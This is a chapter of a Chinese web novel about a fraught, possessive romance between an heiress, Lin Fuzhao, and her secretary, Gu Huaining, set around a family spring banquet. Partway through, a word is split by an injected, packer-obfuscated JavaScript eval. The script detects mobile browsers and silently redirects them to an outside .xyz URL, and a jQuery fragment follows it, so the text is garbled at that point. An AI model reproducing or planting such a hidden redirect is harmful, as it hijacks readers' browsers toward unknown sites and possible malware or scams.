【第二章?上篇｜春宴?宴前】
真正的恋爱，从来不是光面。
尤其是这种不被祝福、带着试探与操控意味的“恋爱”。
林芙昭和顾怀宁确立关系，是在一场雨夜之后。
那夜她们从一场慈善酒会归来，顾怀宁替她举伞，撑过林家大院长长的石径，林芙昭脚下踩着高跟鞋，每一步都不稳。她喝了几杯，却不醉，走在顾怀宁身侧，忽然低头笑了一声。
“顾怀宁，你觉得，我算好吗？”
顾怀宁停住脚。
她偏头看她，眼里有片刻的凝神，却还是轻声道：“您很好。”
“别撒谎。”
“我没撒。”
“你知道我骂过多少人，翻过多少脸，用多少脏手段抢来今天的位置？”林芙昭回身看她，眼底酒意未散，眼尾微红，“你知道多少人恨我？他们表面叫我林小姐，背地里怎么骂我你知道吗？”
“他们说我疯，说我毒，说我阴狠自私，没人会喜欢我。”
雨落在发上，她却仰着脸，一点不顾狼狈。
“你也这么觉得吧？”
顾怀宁安静站在她面前，手撑着伞，眼中有极轻的水汽，被风一吹几乎看不清。
她像是等了很久，才缓慢地开口：“我不在乎别人怎么看您。”
“你在乎谁？”
“……我只看您怎么对我。”
林芙昭一愣。
她从没听过这样的话。
不是讨好，也不是冷淡，而是……近乎自我毁灭的忠诚。
她忽然觉得自己快要溺毙在这场雨里。
所以她吻了她。
不管不顾地，拉住她的手，吻上她的唇，雨水从两人脸间滑落，连体温都无法完全贴近，她却死死按住她的后脑，像要把她永远压进自己世界里。
顾怀宁没有拒绝。
甚至主动回吻了她。
那一刻林芙昭才明白，这不是她的胜利。
这是她的沉沦。
她亲手放进来的“礼物”，竟反过来控制住了她。
……
在外人眼中，她们的关系一如往常。
顾怀宁还是她的秘书，不远不近，不温不火。
她依旧送她文件、陪她出席场合、站在她身后不动声色。仆人看不出她们之间有任何不同，林母也不追问，甚至连林家最毒的长姐林芙迟也只是冷冷看她一眼，说：“你还真喂熟了一条狗。”
林芙昭笑得轻：“她不咬你，你就当她是狗吧。”
“狗也会咬人。”
“她不会。”她语气淡得毫无破绽，“她只咬我。”
林芙迟冷哼一声，转身离开。
没人知道她们的界限在哪里。
没人知道林芙昭凌晨时分从书房出来，会在楼梯尽头的客房门口停留片刻，指腹掠过门板却终究没敲；
也没人知道顾怀宁独自处理完林家的对账文书后，会在深夜十一点关灯前坐在床边，目光落在窗外，像在等一个永远不会出现的人影。
这种关系是病态的。
没有拥抱，没有亲密，没有告白，没有解释。
她们不在一起，却不允许彼此和别人靠近。
林芙昭仍旧带不同的女伴出席宴会，却再没碰过她们。
她坐在席间，看着不远处的顾怀宁站在角落，低头回消息的手指白得惊人。她有时会突然冷笑一声，对身边的男宾女客说：“你们猜猜，我的秘书，有没有偷听我床上的声音。”
没人敢应。
顾怀宁抬起头，静静看她。
两人目光交锋的那一刻，空气仿佛凝固。
然后她默默低头，走到她面前，轻声说：“林小姐，请您不要拿我开玩笑。”
林芙昭看她的眼神里，带着一点怒意，也带着说不出口的恨意。
像是恨她不反驳、不吃醋、不解释。
可她说不出。
因为一旦说，她就输了。
她是林家最锋利的一把刀，从小到大没有输过，哪怕是情感，也不准示弱。
而顾怀宁，就是她心头那根钝刺。
疼，却不敢拔。
……
她终于第一次真正发脾气，是在听说顾怀宁接触了顾家旧部之后。
她没发火，只是回家的时候把桌上的花瓶掀翻了。
“你去见顾沛了？”她问。
顾怀宁站在门口，脱下外套，静静点头。
“你告诉他了你住在林家？”
她又点头。
林芙昭靠着桌沿笑：“你真诚实啊。”
“我没想隐瞒。”
“你是顾家人。”
“我只是顾家义女。”
“义女也姓顾。”她靠近一步，“你到底想干什么？”
顾怀宁没有躲，只是低声说：“您不是说，我该学会取悦您吗？”
林芙昭一怔。
“我在做您会喜欢的事。”
“你以为我喜欢你当间谍？”
“我没有通风报信。”
“那你为什么见他？”
“他有您林家的股份，我想知道他想做什么。”
她说这话的时候很冷静，甚至不带一丝撒谎的欲望。
林芙昭却忽然就泄了气。
她捂住额头，声音低得像呢喃：“顾怀宁，你别这样。”
“我怎么了？”
“你太听话了。”
“不是您让我听话的吗？”
“我想让你有情绪。”
“我不值得有情绪。”
那一刻，林芙昭忽然意识到——她不是驯服了顾怀宁。
她是在毁掉她。
她亲手剥光她最后的尊严，逼她一寸寸跪在自己脚下，却又转头恨她没有抵抗。
她终于说不出话。
顾怀宁却走近一步。
她轻声说：“您不用爱我。”
“我不爱你。”
“我知道。”
“你知道还——”
“可我可以陪您。”
“你疯了。”
“我比您疯。”她眼底有极深的倦意，“因为我本来就一无所有。”
“您给我命令，我听；给我地位，我守；给我情感，我留。”
“可您不给我……我也不会走。”
“因为我只剩下您了。”
那一刻林芙昭彻底沉默。
她意识到她想赢，但她根本赢不了。
因为顾怀宁是主动放下武器的人。
她是那个在炮火中脱掉铠甲、主动跪下去说“我愿意”的人。
而她还举着剑。
……
春宴临近前的最后一夜，林家举办了一场私宴。
那晚林母穿着墨绿丝绒礼裙，坐在宴会主桌最末端，目光沉静如水。
她看着顾怀宁上前敬酒，举止得体，说话得当。林家亲戚纷纷点头称赞她的“识相”。
可她只是淡淡一笑，压低声音说：“你以为你得到了什么？”
顾怀宁轻轻放下酒杯，看向她：“我什么都没得到。”
“你知道林芙昭为什么留你？”
“因为她需要我。”
“错。”林母笑了一下，唇边带着几分惋惜，“她留你，是因为你不会离开。”
“她能欺负你，践踏你，夺走你一切，但你不会走。她害怕别人走，所以才留你。”
“你是她的安全感。不是她的爱人。”
顾怀宁没回应。
她只是点头，转身离开。
走出宴会厅的那一刻，夜风很冷，吹在她身上，却比不过林芙昭看她时那种疏离的目光。
她忽然想起小时候顾老爷子教她的第一句话：
“你永远不该爱任何一个人。”
她没有做到。
也来不及做到了。
【第二章·中篇｜春宴·宴中】
春宴设在林家南苑，那是一片上世纪初留下的庭院，砖瓦皆青黛，长廊绕着鱼池与玉兰林，春日一到便香气浮动。林家上下几乎都到齐了，林母站在中庭迎客，身侧是林芙昭。
顾怀宁并不在她身边。
她今日穿着一袭浅米白的旗袍，头发拢起，耳垂挂着素银的坠子，站在林母右后，安安静静像一尊小瓷人。众人看她，大多目露好奇。
这些年，林芙昭身边的人换过许多个，唯独这个秘书一留就是五年——不升，也不走，身份不清不白，却又格外稳当。
林家长辈敬她一杯酒，她也稳稳接过。从不多话，却不怯场。
顾怀宁是这样的人，不抢风头，也不失礼数。
偏偏这样的存在，最令人猜不透。
林芙迟站在不远处看着，笑得意味深长。她低声问站在旁边的林助理：“她还是住在家里？”
“是。”那人答得小心。
林芙迟抬眼：“昭昭倒是惯她。”
那人没敢接话。
宴会正式开始后，林芙昭走在前，逐桌寒暄。顾怀宁一直跟着，偶尔低声提醒她某位宾客的身份、背景、近期动向，话语不多，却句句精准。
她是林芙昭的耳——几乎知道她所有的弱点与策略。
只是今日，她明显疏离了些。
林芙昭察觉到了。她几次回头看她，顾怀宁的眼神都很平静。不再像从前那样盯得她发热发紧。
直到宴至中场，顾沛来了。
他是顾家旧支，已被顾怀宁划清界限许久。这次突然出现，林家人都略觉意外。
顾沛穿着剪裁得体的藏青西装，走进人群时带着一点天生的公子气。身侧的女伴却是一个陌生面孔。
林母走过去寒暄，顾沛礼貌应付着，眼神却不动声色地落在顾怀宁身上。
他看了她足足三秒，然后笑着举杯：“顾小姐，别来无恙。”
顾怀宁站得笔直：“顾先生。”
她没有再多言。
顾沛笑得更深：“你现在，倒是比以前稳重多了。”
顾怀宁低头：“在林家多年，自然长记性了。”
这句话说得不轻。
林芙昭耳边轻轻一响，握杯的指尖微紧，嘴角却没动。
顾沛随即转向林芙昭：“林小姐，久仰。”
林芙昭眼中寒光微闪：“不敢当，顾先生风头正劲，哪轮得到我。”
顾沛举杯：“那就敬林家一个未来。”
林芙昭也举杯：“顾家也别落后。”
两人杯沿轻碰，响声冷冽。
顾怀宁看着那杯酒，眼中浮过极淡的一丝情绪，像是锋刃扫过湖面，破碎得无声。
宴至尾声，林母唤了几位长辈入内厅议事。林芙昭欲跟上，却被一个声音叫住。
是一个陌生女宾，穿着明黄色小礼裙，笑意轻柔地唤：“林小姐，好久不见。”
林芙昭脚步顿住。
她认得这个人，顾怀宁也认得。
她是林芙昭上大学时短暂交往过的一个女孩，姓梁，后来出国，几乎再没联系。
梁小姐自顾自走近，两眼弯弯看着她：“你变了啊，芙昭。”
林芙昭唇角牵了牵：“是你变了。”
梁小姐笑起来，声音略高：“我还听说你最近身边有了新宠，那个秘书叫什么来着？”
她装作想不起来似的，看向顾怀宁：“你叫什么名字来着？”
顾怀宁并不动怒，只是微微欠身：“顾怀宁。”
梁小姐故作恍然：“对对对，就是你。你跟芙昭——关系不一般啊？”
林芙昭皱眉：“梁蕊。”
梁小姐却笑得更开：“我没别的意思，就是……怀宁小姐长得比我那会漂亮多了，也比我更乖。”
她转向顾怀宁，轻声问：“你也陪她入夜吗？”
四周宾客听到这话，不禁回头看。
空气忽然静了几秒。
林芙昭眼神一暗，正要开口，却听顾怀宁缓缓答：“我是她秘书，我会守夜。”
梁小姐一愣，随即笑出声来：“守夜？这话说得真——真有趣。”
林芙昭眼神更冷，转身拉住顾怀宁的手腕：“走了。”
她拉着她快步穿过人群，裙摆扫过玉兰花瓣，几乎是强迫地将她带出宴厅。
两人走到偏廊，林芙昭忽然松开手：“你刚才是在做什么？”
顾怀宁抬头看她，眼里没有怒意，只有某种极深的疲倦：“我没做什么。”
林芙昭低声冷笑：“你当众应她那种话，是不是觉得很光荣？”
顾怀宁摇头：“我只是想省去你开口。”
林芙昭盯着她：“那你有没有想过，你现在的身份，代表的是谁？”
“我代表我自己。”
顾怀宁看着她，语气平静，“我不是你的标牌，也不是你的私产。”
林芙昭愣住。
片刻后，她后退一步，嗤笑一声：“你终于说这句话了。”
顾怀宁也不避让：“你希望我一辈子不说？”
“你以前不是这样的。”林芙昭压着声，“你以前会低头。”
顾怀宁垂下眼：“我现在也会。”
她顿了顿，轻声补了一句，“但我只对你一个人低头。”
林芙昭怔在原地。
顾怀宁没有再说话，转身往内宅走去。
她的背影清瘦沉静，肩胛骨在月光下透出尖锐的冷意。
那一刻，林芙昭忽然意识到——她的控制，已经开始失效。
【第二章·下篇｜春宴·夜深】
夜深了，南苑人散。
主楼灯火未熄，远处长廊灯盏一盏盏灭下去，只剩下玄关与二楼卧室的昏黄灯光还亮着。
林芙昭站在窗前，一直未动。
宴散已有两个小时，她没有去送客，也没有回到客厅寒暄。林母派人来问过，她只淡淡说一句“有些不适”，便将人挡了回去。
她是真的不适。
胃里空得发冷，喉咙干涩，连带着指尖都有些微微发麻。
可她不是病，是气，是那种克制太久、久而久之反噬回来、冷静到极致之后才发作的怒。
怒什么，她其实也说不清楚。
怒顾怀宁在众人面前与她疏离。怒她那句“我代表我自己”。怒她竟然在她面前也能维持那么从容的分寸。
她站在那，良久没有动，直到卧室门被轻轻叩响。
“进。”
她没有回头。
脚步声细微，穿过地毯几乎听不出动静。她却知道来的是谁。
顾怀宁。
她向来不擅吵架，不习惯冷战。每次她生气，她就安安静静地站着，不辩解，也不认错，像一块沉默的石头。
林芙昭不转身，嗓音低下去：“还知道回来。”
顾怀宁没答。
她脱了外套，将它折好放在沙发上，动作极轻，像是不想惊扰她，又像是对这间屋子的每一寸都过于熟悉。
“你今晚很漂亮。”她忽然说。
林芙昭手指收紧。
“你本来就漂亮。”顾怀宁站在她背后，嗓音轻得像风，“只是今晚，特别让人想靠近。”
林芙昭终于转过身。
她的眼神不再锋利，但却藏着一点被激起的厌。
“你靠近了吗？”
顾怀宁抬头看她，嘴唇动了动，终是没有答。
林芙昭慢慢走近她，站定在一臂之距，盯着她的眼睛：“你是不是觉得，跟了我五年，我就会一直把你放在身边？”
“不是。”
“你是不是觉得——我需要你多，就可以原谅你做任何事？”
“我没想让你原谅。”顾怀宁轻声，“我没有错。”
林芙昭眼里有火。
“你没有错？”她几乎咬着牙，“你在宴会上让他们看笑话，你和梁蕊对话一句不让，我当你是什么人？”
顾怀宁没有后退。
她望着林芙昭的眼，慢慢说：“我一直是你的秘书。也是你放在身边五年的人。你从不介绍我，也从不承认我，我就只能听着他们说我是你‘新宠’，说我‘守夜’。”
“我认了。”
“但你别让我在你面前，连个‘人’都不是。”
林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835772|175674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芙昭手指颤了一下。
顾怀宁的语气依旧平稳，却像从胸腔深处压着什么。
“我不是在反抗你，我是在求你。求你看我一眼，正经地、清醒地看一眼。”
她停顿了很久，才接着低低道：
“我不是你用久了的物品。”
林芙昭忽然笑了，笑意轻冷：“所以你要走？”
顾怀宁一怔。
“你今晚回来，是来辞职？”
顾怀宁抬起眼，眼底有些潮。
她没说“是”，也没说“不是”。只是向前一步，极轻极慢地抱住了她。
林芙昭的身体先是紧了一下。
她想挣开。
可顾怀宁把脸贴在她颈侧，声音沉得像夜色：“昭昭，你别这样。”
她说得太轻，像是哀求。
林芙昭闭上眼，嗅到她发间那股温和的香气——是她喜欢的白茶，五年来从未换过的味道。
她在她怀里几乎要哭了。
可她忍着，不动声色，只轻轻说：
“你是不是……太贪心了点。”
顾怀宁没说话，只抱得更紧了一点。
林芙昭忽然就泄了劲，整个人被她圈在怀里，没有再推，也没有再说。
屋外风声细碎，玉兰的影子映在窗上，摇摇晃晃像谁的眼。
一切都沉下来。
沉得安静，沉得像是春日夜里藏了太久太久的疲倦与渴望。
她们就这样站着——
一个闭眼，一个低头。
时间被拉长，慢得仿佛永远不会结束。
但春宴，总归要散。
天一亮，一切就会回到原位。
她们不能永远这样站着。
不能，也不会。
【第二章｜春宴?完结篇】
林芙昭近来常失眠。
她本不信什么“习惯依赖”，却在几次晚归后无意识地推开灯光寂冷的公寓大门，才猛然察觉屋中不再有那人等她归来。
顾怀宁最近不常出现。
没有解释，也不告辞。只是从某天起，她接手的文件少了一摞，会议室里总是坐着别的秘书，电话那头不再是她温温和和的“林总”。
林芙昭很不习惯。
明明才几个月，她已习惯那种沉默安稳的存在。习惯她每次递笔时眼神掠过的那一点点迟疑，习惯她在她发怒时不吭一声也不走开，甚至习惯她不曾回应却从未走远的姿态。
习惯这种不能名状的被陪伴。
起初她没察觉怀宁的离开有什么特别的理由。顾家人事调动频繁，秘书岗位换得快，她本不该在意。但夜里坐在落地窗前，看着窗外红灯一盏盏亮起，她莫名其妙地会想到她。
后来她从林秘书口中听说——顾怀宁升了，进入顾氏项目策划部，不再是她的“陪嫁秘书”。
“听说是顾言晟亲自签的调令。”林秘书轻描淡写地说。
林芙昭心头一紧，忽然觉得连天色也变得陌生。
她没来由地烦躁，一整天在办公室里踱来踱去，会议文件翻来覆去，看不进去一行字。直到入夜时分，她终于摁下那串早该删去的号码。
无人接听。
第三次拨通时，她压着嗓子说：“顾怀宁，如果你三十分钟内不来，我会亲自去顾家找你。”
十七分钟后，她看到那熟悉的人站在她公寓门口。
外头风大，她站在昏黄的楼道灯下，还是穿着那件薄风衣，长发松松束在脑后，眼底是低垂的安静。
“林总。”
“你升职了？”林芙昭看着她，眼底掠过一抹讥诮，“不告而别，是怕我拖累你？”
顾怀宁没有说话。
她站得笔直，低着头，仿佛是个接受训斥的员工。那副姿态让林芙昭心口一顿，喉咙像被什么扎住。
她本来想质问，想骂她几句。可她什么也说不出口。
她只觉得荒唐。
——她居然在乎了。
顾怀宁轻声开口：“顾家安排我接手新项目，说这边你已有足够支援。”
“你就答应了？”
“是工作。”她顿了顿，“你不需要我。”
林芙昭忽地一笑，像听了个荒谬笑话。
“你以为你对我来说，只有工作？”
她靠近一步，眼神锐利如刃，“我林芙昭什么时候容得下多余的人？你以为你是多余的？”
顾怀宁眼底动了动，却还是低声道：“你是林家唯一继承人，不能因我影响未来安排。”
“安排？”林芙昭嗤笑，“你以为我是林母那种人？”
顾怀宁一言不发。
她知道林母开始着手安排林芙昭联姻的事，知道林芙昭虽表面配合，实则已私下推掉两场饭局。她也知道——林芙昭去找她大哥林行舟，开口提出一个“荒唐至极”的条件：
“给我半年时间，我让顾怀宁签字，从此归在林家旗下。作为林家私属秘书，不再归顾家调派。”
林行舟没答应，只冷笑一句：“你知不知道你在谈什么？”
林芙昭当然知道。
她要一个人，真正属于她。
可她还没来得及试图说服家里，顾怀宁就先一步抽身离开了。
那天夜里，林芙昭没留她，只扔下一句：“你走吧，以后别来。”
门关上后，屋里冷得像坟。
可第二天，林芙昭还是看到顾怀宁出现在顾家项目启动发布会上。
她站在顾言晟身侧，一身浅灰职业装，眼底毫无波澜，介绍项目进度时语气沉稳，仿佛早已不属于她。
林芙昭指节发白，死死盯着台上那个声音平静的人。
她站在人群中，心里空得发疼。
那是她的人。她护了半年，把无数刀挡下的人。现在站在那里，像从没靠近过她。
那晚她失眠到天亮，终于忍不住去找她。
“你是不是怕顾家对你动手？”她压着火，开门见山。
“是。”
顾怀宁答得很快。
林芙昭笑了：“所以你就顺从？像条狗一样一声不吭跑回去？”
“林总。”
“别叫我林总！”
她几乎是喊出来的，整个人像被逼到绝境的兽，“我是什么，你心里没点数吗？”
“我是你——”
她猛地止住。
空气凝成一块。
顾怀宁没有接话，只是低声说：“你知道我们不可能的。”
林芙昭红着眼，紧紧盯着她：“所以你背叛我？在我努力争取时，你先退了？”
顾怀宁轻轻一笑。
“我从没站在你身边，谈什么退？”
林芙昭哑口。
良久，她后退一步：“滚。”
顾怀宁没动。
她只是抬头看她，眼底那点久违的悲伤终于浮出一点形状。
“你别以为我离不开你。”林芙昭咬着牙，仿佛是在咒她，“我能换一个秘书，一样活得好好的。”
“是。”
“你走了最好——”
“我会离开。”她声音低得像风，“你不必再为我争。”
林芙昭眼前一晃。
屋内安静到能听见钟表转动。
窗外雨正下着，整片天灰濛濛的，风吹过时，薄纱窗帘鼓起又落下。
她转身不再看她。
“我最后问你一句，”她声音很轻，“你对我，到底有没有真心？”
顾怀宁沉默片刻。
“没有。”
良久后，门被轻轻带上。
林芙昭坐在原地，窗外霓虹闪动，她盯着那些光一点点沉下去，心口空成一个深井。
?
这一夜风很大，楼下路灯晃得厉害。街对面便利店门前贴着“促销”海报，被吹得哗啦啦响，像是一句迟来的讽刺。
林芙昭看了很久，才将那只空酒杯扔进垃圾桶，走进卧室。
她没有关灯。
她怕黑，又怕梦见她。
可灯光再亮，也照不见心里的东西。
【《春宴已散》第二章完】